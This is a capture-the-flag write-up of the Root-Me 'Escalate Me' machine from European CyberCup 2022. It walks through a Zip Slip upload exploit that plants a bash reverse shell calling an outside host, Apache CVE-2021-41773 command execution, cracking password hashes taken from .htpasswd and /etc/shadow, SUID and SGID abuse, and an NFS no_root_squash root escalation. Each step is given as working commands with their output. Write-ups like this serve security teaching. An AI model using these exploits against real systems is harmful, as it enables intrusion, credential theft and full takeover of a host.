Escalate-Me
Preface
Escalate Me was a challenge for the European CyberCup (EC2) 2022 made by Root-Me. Our team (GCC - ENSIBS) finished 4th in the CTF category and 2nd overall. The competition lasted less than 48 hours so I didn’t the have time to take many notes. However, the VM was published on Root-Me afterwards, so I redid it to complete my notes.
Thanks to xThaz and Log_s for helping me on the privilege elevation part which was a bit tricky because the instance was shared between all teams.
Nmap
Enough talking, let’s just start with a scan of ports :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
$ nmap -sV -sC ctf01.root-me.org -oN scan.nmap
[...]
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
[...]
80/tcp open http Apache httpd
|_http-title: 401 Unauthorized
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Basic realm=Restricted Content
|_http-server-header: Apache
111/tcp open rpcbind 2-4 (RPC #100000)
[...]
2049/tcp open nfs_acl 3 (RPC #100227)
3000/tcp open http Werkzeug httpd 0.12.2 (Python 2.7.16)
|_http-title: Ninjask Solution
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
[...]
|
Apache - Port 80
We come across a Basic Auth
on port 80, we can test known credentials like admin:admin
or guest:guest
but this does not work. Let’s keep this page in mind to come back to it later.
Flask - Port 3000
On port 3000, we get a recruiting application on which we can download its source code and send resumes via ZIP archives.
Here is a part of the source code of app.py
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
|
#!/usr/bin/python2
# -*-coding:Latin-1 -*
import os
import io
import errno
import zipfile
from werkzeug.utils import secure_filename
from flask import Flask, flash, request, Response, render_template, make_response, send_from_directory, send_file
from config import settings
app = Flask(__name__)
[...]
def unzip(zipped_file, extract_path):
try:
files = []
with zipfile.ZipFile(zipped_file, "r") as z:
for fileinfo in z.infolist():
filename = fileinfo.filename
data = z.open(filename, "r")
files.append(filename)
outfile_zipped = os.path.join(extract_path, filename)
if not os.path.exists(os.path.dirname(outfile_zipped)):
try:
os.makedirs(os.path.dirname(outfile_zipped))
except OSError as exc:
if exc.errno != errno.EEXIST:
print "\nRace Condition"
if not outfile_zipped.endswith("/"):
with io.open(outfile_zipped, mode='wb') as f:
f.write(data.read())
data.close()
return files
except Exception as e:
print "Unzipping Error" + str(e)
def allowed_file(filename):
return '.' in filename and filename.rsplit('.', 1)[1].lower() in "zip"
@app.route('/upload', methods=['POST'])
def upload():
if request.method == 'POST':
extract_path = os.path.join(os.path.dirname(
os.path.realpath(__file__)), "uploads")
[...]
if file and allowed_file(file_uploaded.filename):
filename = secure_filename(file_uploaded.filename)
write_to_file = os.path.join(extract_path, filename)
file_uploaded.save(write_to_file)
unzip(write_to_file, extract_path)
html = '''
<html lang="en">
[...]
</html>
'''
return html
@app.route('/sitemap.xml')
def static_from_root():
return send_from_directory(app.static_folder, request.path[1:])
if __name__ == '__main__':
app.secret_key = 'super secret key'
app.run(use_reloader=True, threaded=True, host=settings.HOST, port=settings.PORT, debug=settings.DEBUG)
|
The vulnerabilty in this Flask application is inside the unzip(zipped_file, extract_path)
function. It is vulnerable to Zip Slip.
Exploit a directory traversal attack on filenames of a specially crafted archive (e.g. ../../evil.sh).
To determine the path of the files to be extracted, the function concatenates the extract_path
(which is /%app_folder%/uploads
) and the filename
(file name inside the archive, so we can control this variable).
1
2
3
4
5
|
outfile_zipped = os.path.join(extract_path, filename)
# [...]
if not outfile_zipped.endswith("/"):
with io.open(outfile_zipped, mode='wb') as f:
f.write(data.read())
|
As the application is in reload mode (use_reloader=True
), if we overwrite a Python file of the application, it will reload automatically and execute the new file.
The /sitemap.xml
route gives us a good understanding of the application structure :
1
2
3
4
5
6
7
8
9
|
app.py
static/
css/
js/
images/
uploads/
config/
__init__.py
settings.py
|
A possible exploit would be to overwrite __init__.py
which is imported by app.py
. We can also overwrite settings.py
or app.py
but they contain important code so, to not crash the app, it’s more reasonable to overwirte __init__.py
which is very often an empty file (only used for module structure in python).
1
2
3
4
5
6
|
>>> import os.path
>>> os.path.join("/usr/srv/app/uploads", "../config/__init__.py")
'/usr/srv/app/uploads/../config/__init__.py'
# equivalent to
# '/usr/srv/app/config/__init__.py'
|
Exploit Flask application
To create a zip file with the string ../
inside filenames, I made the following python script. It creates a simple zip archive with a Python script named ../config/__init__.py
in it.
1
2
3
4
5
6
7
8
9
10
11
12
|
#!/usr/bin/env python3
from zipfile import ZipFile
def zip_slip(zip_path, file_name, file_path):
with ZipFile(zip_path, "w") as zip_file:
zip_file.write(file_name, file_path)
if __name__ == '__main__':
zip_slip("exploit.zip", "revshell.py", "../config/__init__.py")
print("[+] Exploit zip file created")
|
Let’s exploit this :
1
2
3
4
5
6
|
$ cat revshell.py
import os
os.system('bash -c "bash -i >& /dev/tcp/xanhacks.xyz/4444 0>&1"')
$ python3 zip_slip.py
[+] Exploit zip file created
|
If we look at exploit.zip
, we have a single file named ../config/__init__.py
with the content of revshell.py
in it.
1
2
3
4
5
|
$ zipinfo exploit.zip
Archive: exploit.zip
Zip file size: 200 bytes, number of entries: 1
-rw-r--r-- 2.0 unx 60 b- stor 22-Jun-13 20:21 ../config/__init__.py
1 file, 60 bytes uncompressed, 60 bytes compressed: 0.0%
|
Let’s setup our listener and upload it to the website.
1
2
3
4
5
6
|
debian@vps-1b05bcee:/tmp/www$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [51.91.XXX.XXX] from (UNKNOWN) [212.129.28.18] 35698
flask@escalate-me:/$ id
id
uid=1003(flask) gid=1003(flask) groupes=1003(flask)
|
We now have a reverse shell as uid=1003(flask)
! Now, let’s add our SSH key to obtain a proper shell.
Linux privilege escalation
flask -> www-data
After some research on the host, we came accross this file /usr/local/apache2/htdocs/.htpasswd
from the Apache2 web server root (remember the Basic Auth
we saw before).
Let’s crack the hack with JohnTheRipper :
1
2
3
4
5
6
7
8
9
|
$ echo 'construction:$apr1$W1ML7VzP$XuznQ.ierNEMwKOB0KfZ7/' > construction.hash
$ john construction.hash --wordlist=/opt/rockyou.txt
...
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
america (construction)
1g 0:00:00:00 DONE (2022-06-13 20:34) 50.00g/s 19200p/s 19200c/s 19200C/s 123456..michael1
Use the "--show" option to display all of the cracked passwords reliably
Session completed
|
We can login on port 80 with construction:america
. Since Apache2 has a recent RCE vulnerability, I check this version :
1
2
3
|
$ httpd -v
Server version: Apache/2.4.49 (Unix)
Server built: May 24 2022 22:46:0
|
Bingo ! We can exploit the Apache CVE-2021-41773
to get a shell.
1
2
3
|
flask@escalate-me:~$ curl -u construction:america http://localhost/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh \
--data 'echo Content-Type: text/plain; echo; id'
uid=33(www-data) gid=33(www-data) groups=33(www-data)
|
It works ! Let’s upgrade to a better shell by creating an SUID of /bin/bash
as www-data
:
1
2
3
4
5
6
7
|
flask@escalate-me:~$ curl -u construction:america http://localhost/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh \
--data 'echo Content-Type: text/plain; echo; cp /bin/bash /tmp/bash; chown www-data:www-data /tmp/bash && chmod u+s /tmp/bash'
flask@escalate-me:~$ ls -l /tmp/bash
-rwsr-xr-x 1 www-data www-data 1168776 juin 13 21:45 /tmp/bash
flask@escalate-me:~$ /tmp/bash -p
bash-5.0$ id
uid=1003(flask) gid=1003(flask) euid=33(www-data) groupes=1003(flask)
|
www-data -> admin
Very quickly we come across the /usr/bin/capsh
binary with a SGID bit as the shadow
group.
1
2
3
4
5
6
7
|
bash-5.0$ ls -l /usr/bin/capsh
-rwxr-sr-x 1 www-data shadow 26776 mai 25 02:00 /usr/bin/capsh
bash-5.0$ /usr/bin/capsh -- -p
bash-5.0$ id
uid=1003(flask) gid=1003(flask) euid=33(www-data) egid=42(shadow) groupes=42(shadow),1003(flask)
bash-5.0$ ls -l /etc/shadow
-rw-r----- 1 root shadow 1571 juin 10 16:52 /etc/shadow
|
Unfortunately, we can’t write to the /etc/shadow
file but we can read it, so we can retrieve the users’ hashes.
1
2
3
4
5
6
|
bash-5.0$ cat /etc/shadow | grep '\$' | cut -d: -f1,2
root:$1$b9usTs98$iOngPGwWxxrCBaJvxKcad1
debian:$6$N/AwvBbwhhWiZqXU$rX2APdc8Ssriy5l9EUn752gkyWABr.MjgeUoNq9aY..h20qZ6I/LlwOIwhmlHO/FIMcgPvFc7iX37pUrRLZ1S/
admin:$1$PwNmeBr0$VXoK.aIm.K3q8v1zUyZ0I1
contruction:$6$j8kVM4dsKAurztJ0$6bwRC/Bbkn5JnEtwW7CDNs3zqqpg1mXtCHKv/GvK5hFfCkGHmlRlNLxYyc125kEpOkiTrhrLNZugGNzP9n39./
flask:$6$IvWvjV.IWHTY5KX9$F93t9p1hA4X2Ka24xlTSzNVG9btG0rTOMGg8zhiVsKT3pBbKPLkBGrch.dPz4pVOz7vp9S5h6J.H2bQT6YBAy1
|
John will do the job :
1
2
3
4
5
6
7
8
|
$ john shadow.hash --wordlist=/opt/rockyou.txt
...
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
loveyou (admin)
1g 0:00:00:48 39.14% (ETA: 08:38:57) 0.02078g/s 117538p/s 117546c/s 117546C/s masa13..mas chocolate
Use the "--show" option to display all of the cracked passwords reliably
Session aborted
|
We get the password of the user admin
! Let’s login with admin:loveyou
.
1
2
3
4
5
6
|
$ sshpass -p 'loveyou' ssh admin@ctf03.root-me.org
Linux escalate-me 4.19.0-20-amd64 #1 SMP Debian 4.19.235-1 (2022-03-17) x86_64
...
$ bash
admin@escalate-me:~$ id
uid=1001(admin) gid=1001(admin) groupes=1001(admin)
|
admin -> root
We will now use a misconfiguration of the NFS mount to become root (finally !).
1
2
|
admin@escalate-me:~$ tac /etc/exports | head -n1
/home/admin *(rw,no_root_squash,insecure)
|
The no_root_squash
option allows root users on client computers to have root access on the server. Let’s mount the NFS on our machine as root
and compile a SUID binary.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
# compile the exploit on host
admin@escalate-me:~$ echo 'int main(void){setreuid(0,0); system("/bin/bash"); return 0;}' > exploit.c
admin@escalate-me:~$ gcc exploit.c -o exploit
# switching to my host to mount NFS as root
[root@arch escalate-me]# mkdir /tmp/nfsroot
[root@arch escalate-me]# mount -t nfs ctf03.root-me.org:/home/admin /tmp/nfsroot/
[root@arch escalate-me]# cd /tmp/nfsroot/
[root@arch nfsroot]# chown root:root exploit
[root@arch nfsroot]# chmod u+s exploit
# switching back to victim to run the SUID binary
admin@escalate-me:~$ ls -l exploit
-rwsr-xr-x 1 root root 16664 juin 14 08:56 exploit
admin@escalate-me:~$ ./exploit -p
root@escalate-me:~# id
uid=0(root) gid=1001(admin) groupes=1001(admin)
root@escalate-me:~# cat /passwd
1fc22851db4e80...
|
Rooted ! This VM was cool, a lot of concept quite simple but put together can make the task complicated.
Unintended / other ways
- From
flask
to shadow
group (skip www-data
user)
- As the
/usr/bin/capsh
is executable by everyone, you do not need the www-data
user
- Proof :
1
2
3
4
5
|
flask@escalate-me:~$ ls -l /usr/bin/capsh
-rwxr-sr-x 1 www-data shadow 26776 mai 25 02:00 /usr/bin/capsh
flask@escalate-me:~$ /usr/bin/capsh -- -p
bash-5.0$ id
uid=1003(flask) gid=1003(flask) egid=42(shadow) groupes=42(shadow),1003(flask)
|